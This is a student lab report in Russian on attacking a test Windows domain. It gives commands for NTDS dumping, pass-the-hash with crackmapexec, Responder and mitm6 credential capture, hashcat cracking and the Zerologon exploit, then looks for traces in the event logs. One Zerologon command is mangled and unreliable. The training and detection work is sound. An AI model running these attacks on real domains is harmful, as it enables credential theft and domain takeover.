# Windows_Basic-Остапенко_Владимир-Практика-6 ## Практическая работа №1 Базовая работа с виртуальной лабораторией ### Задание 1) Провести анализ базы NTDS 2) Выполнить атаку “Path-the-hash” 3) Реализовать атаки на базовые протоколы Windows --- ### Часть 1. Базовые атаки на инфраструктуру Windows ### Этап 1. Анализ базы NTDS #### 1.1 Бэкап NTDS Для работы с NTDS, использую консоль, запущенную от имени администратора (на dc1). Далее, поочерёдно вписываю следующие команды: ```bash ntdsutil activate instance ntds ifm create full C:\temp ``` Тем самым активируя процесс Install From Media, позволяющий сделать копию NTDS с необходимыми ветками реестра. ![](https://i.imgur.com/iCRUoJx.png) > Файлы сохронены в директории **C:\temp**. [color=#3b75c6] > >![](https://i.imgur.com/vKDAe7b.png) #### 1.2 Перенос NTDS Далее, с помощью SMB зайду на сервер Win с Kali c помощью команды: ```bash smbclient '\\192.168.10.200\C$' -U PT/Administrator ``` После чего скопируем файлы на Kali: ```bash recurse ON prompt OFF lcd /home/user mget temp ``` ![](https://i.imgur.com/TWowevl.png) :::success :accept: Файлы скопированы. Успех! ::: #### 1.3 Анализ NTDS Для анализа дампа скачаю и установлю impacket: ```bash git clone https://github.com/SecureAuthCorp/impacket apt install python3-pip cd impacket pip install . ``` ![](https://i.imgur.com/d8XzJXU.png) ![](https://i.imgur.com/4k3pQDV.png) ![](https://i.imgur.com/CykOEjJ.png) Далее из директории impacket перехожу в директорию examples и выполняюю следующую команду: ```bash python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL ``` ![](https://i.imgur.com/ez2LytQ.png) :::success :accept: Скрипт выполнен успешно. Мы получили много полезной информации, которая пригодится далее. ::: ### Этап 2. Path-the-hash #### 2.1 Crackmapexec Для начала проанализирую хосты ![](https://i.imgur.com/oWMFvhA.png) :::warning **192.168.10.200 (dc1)** и **192.168.10.201 (dc2)** - поддерживает SMB протокол. Так же узнал версию ОС, её имя и имя домена ::: Теперь попробую выполнить команду от имени администратора на dc1 ```bash crackmapexec smb 192.168.10.200 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 -x whoami ``` ![](https://i.imgur.com/sua2P9O.png) :::success :accept: Успех! Команда выполнена от имени пользователя **pt\administrator** ::: Так же посмотрим список сетевых папок, доступных конкретному пользователю (на этот раз проверим пользователя ADMPetr): ```bash crackmapexec smb 192.168.10.201 -u ADMPetr -H aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 --shares ``` ![](https://i.imgur.com/TBP3o9d.png) :::success :accept: Успех. Получен список сетевых папок, доступных **ADMPetr** ::: Теперь воспользуюсь утилитой, позволяющей запустить cmd windows для удаленной передачи команд - **smbexec** ![](https://i.imgur.com/XpaejB4.png) ::: success Успех! ::: #### 2.2 XFreeRDP Для начала предоставлю удалённый доступ по RDP для администраторов доменана на dc1. ![](https://i.imgur.com/luW4I0O.png) ![](https://i.imgur.com/7ytDHk5.png) Попробую зайти на dc1. Подтверждаю сертификат ![](https://i.imgur.com/cUNnR4E.png) Т.к. действует политика restricted admin, доступ не был получен ![](https://i.imgur.com/Bes3BVv.png) Чтобы это справить, изменю параметр реестра на dc1 ![](https://i.imgur.com/tE6xRnx.png) Была использована следующая команда: ```bash New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force ``` >Т.к.ранее была включена политика аудита PoSH -- обнаружил выполнение этой команды в Event Viewer >![](https://i.imgur.com/42R6bWi.png) После чего, можно спокойно подключиться к dc1 c помощью хеша, используя xfreerdp ![](https://i.imgur.com/s9v6osE.png) ### Этап 3. Атаки на базовые протоколы Windows #### NBT-NS & LLMNR & mDNS Сначала ознакомлюсь с теорией: :::info Важной частью эксплуатации будет WPAD -- специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-серверов для Win и таким образом осуществив атаку "человек посередине". **NBT-NS** (NetBIOS Name Service) -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS. **LLMNR (Link-Local Multicast Name Resolution)** -- протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же -- сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все). **mDNS (Multicast DNS)** -- суть такая же, как и у LLMNR. DNS через Мультикаст. Все вместе технологии реализуют Zeroconf. Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам. ::: После, решил начать со справки утилиты **Responder**, использовав команду: ```bash responder -h ``` ![](https://i.imgur.com/X5TJBjr.png) #### Анализ инфраструктуры через Responder Запускаю анализ **Responder** ```bash responder -I eth0 -A ``` ![](https://i.imgur.com/2xI3x5M.png) От имени PC1 обращусь к несуществующему сетевому ресурсу ![](https://i.imgur.com/1LTrVd3.png) Анализатор видит LLNMR, NBNS запросы ![](https://i.imgur.com/aWecx0D.png) #### Режим атаки: Теперь перейду к самой атаке. ```bash responder -I eth0 -wFv ``` > где: [color=#130000] > -I eth0 -- выбор интерфейса, > - w -- отравление WPAD, > - F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно, > - v -- вывод подробной информации (в т.ч. перехваченного хэша). Запущу **Responder**: ![](https://i.imgur.com/ognl1vK.png) Вновь от pc1 обращусь к несуществующему сетевому ресурсу, и т.к. **Responder** притворяется этим ресурсом, видно окно аутентификации ![](https://i.imgur.com/EPWaJiL.png) :::success :accept: Успех **Responder** перехватывает аутентификационный токен ::: ![](https://i.imgur.com/ATcJa2R.png) Теперь из полученого хэша, попробую забрутить пароль. Для перебора паролей воспользуйтесь файлом с **Git**: ```bash wget https://github.com/duyet/bruteforce-database/blob/master/2151220-passwords.txt ``` Брутить буду с помощью *Hashcat* ![](https://i.imgur.com/7Iv0ayO.png) ![](https://i.imgur.com/MrCL958.png) :::success :accept: Пароль был успешно подобран - **Qq123456**. Подбор занял 7 сек. ::: #### mitm6 Первым делом, устанавливаю **mitm6** (c помщью pip) ![](https://i.imgur.com/jkp3fDV.png) #### Выполнение атаки: Обратим внимание на **настройки сетевого адаптера pc1**. Было: ![](https://i.imgur.com/11F7Uhi.png) Kali Linux. Атака: ![](https://i.imgur.com/U2yzvgg.png) Настройки сетевого адаптера pc1. После ![](https://i.imgur.com/ZiwnMoc.png) Сейчас только подменил параметры у win10, обеспечив mitm. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит прикинуться ресурсом, который требует аутентификацию. Воспользуемся SMB. Создание своего сервера SMB. Не отключая mitm6, создам SMB сервер: ```bash python3 smbserver.py -smb2support SMB /root/SMB ``` ![](https://i.imgur.com/e2WRyOM.png) А на Win10 через проводник зайду в домен ![](https://i.imgur.com/anmTBz1.png) Увидим данные аутентификации в выводе программы ![](https://i.imgur.com/w3pJkYj.png) :::success :accept: **Успех**. Мы получили данные аутентификации. Ранее уже был вскрыват хэш с помощью *hashcat*, т.к. процедура аналогичная сейчас её повторять не буду. ::: --- ### Заключение По итогу проделанной работы: 1) Проведён анализ базы NTDS 2) Выполнена атаку “Path-the-hash” 3) Реализованы атаки на базовые протоколы Windows --- ## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры. ### Задание 1) Провести эксплуатацию уязвимостей контроллера домена 2) Найти следы эксплуатации уязвимостей --- ### Подготовка #### Активировация политики аудита машинных учетных записей ![](https://i.imgur.com/HRTpNqi.png) > Путь до политики: > **Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant** [color=#d21111] :exclamation: Сразу ввожу команду gpupdate ![](https://i.imgur.com/vcehy80.png) --- ### Часть 2. Эксплуатация уязвимостей контроллера домена В целях облегчения работы, в качестве репозитория с эксплойтом к уязвимости zerologon, использую предложенный в пракике вариант: ```bash git clone https://github.com/risksense/zerologon ``` ![](https://i.imgur.com/R5vjMrc.png) Перехожу в папку с экслойтом и ознакамливаюсь с файлом **README.md** ![](https://i.imgur.com/iZDYBqe.png) В этом файле предложена инструкция к использованию эксплойта. Выполню её. ![](https://i.imgur.com/h2PBWfq.png) > Команда: [color=#932133] >```bash >python3 set_empty_pw.py DC1 192.168.10.200 >``` :::success :accept: Скрипт обнулил пароль машинной учетной записи контроллера домена. ::: Следующий этап - дамп NTDS с помощью **secretsdump**. Данный инструмент был скачан раннее в составе пакета пентестерских утилит **impacket**. Использую следующую команду: ```bash python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200' ``` ![](https://i.imgur.com/LF8d434.png) С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя. Проверю: ![](https://i.imgur.com/esxkvkv.png) Использую следующую команду: ```bash python3 secretsdump.py -hashes crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x dir ``` :::success :accept: Использование команды **dir** от имени **ADMPetr** прошло успешно. ::: --- ### Часть 3. Поиск следов эксплуатации уязвимостей 1) Нашёл ошибку **Netlogon** в журнале System: ![](https://i.imgur.com/U0V5fci.png) 2) В журнале Security, есть интересное событие *4742*. ![](https://i.imgur.com/h3OYLsG.png) > ANONYMOUS LOGON - уже довольно подозрительный факт > Ещё в логе видно заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823 3) Проверим события с id 5823 ![](https://i.imgur.com/aVIYA2e.png) ![](https://i.imgur.com/46nerQL.png) Таких событий нет. Пробую искать события с помощью PowerShell: ![](https://i.imgur.com/H7jgHgE.png) --- ### Заключение По итогу проделанной работы: 1) Проведена эксплуатация уязвимостей контроллера домена 2) Найдены следы эксплуатации уязвимостей ---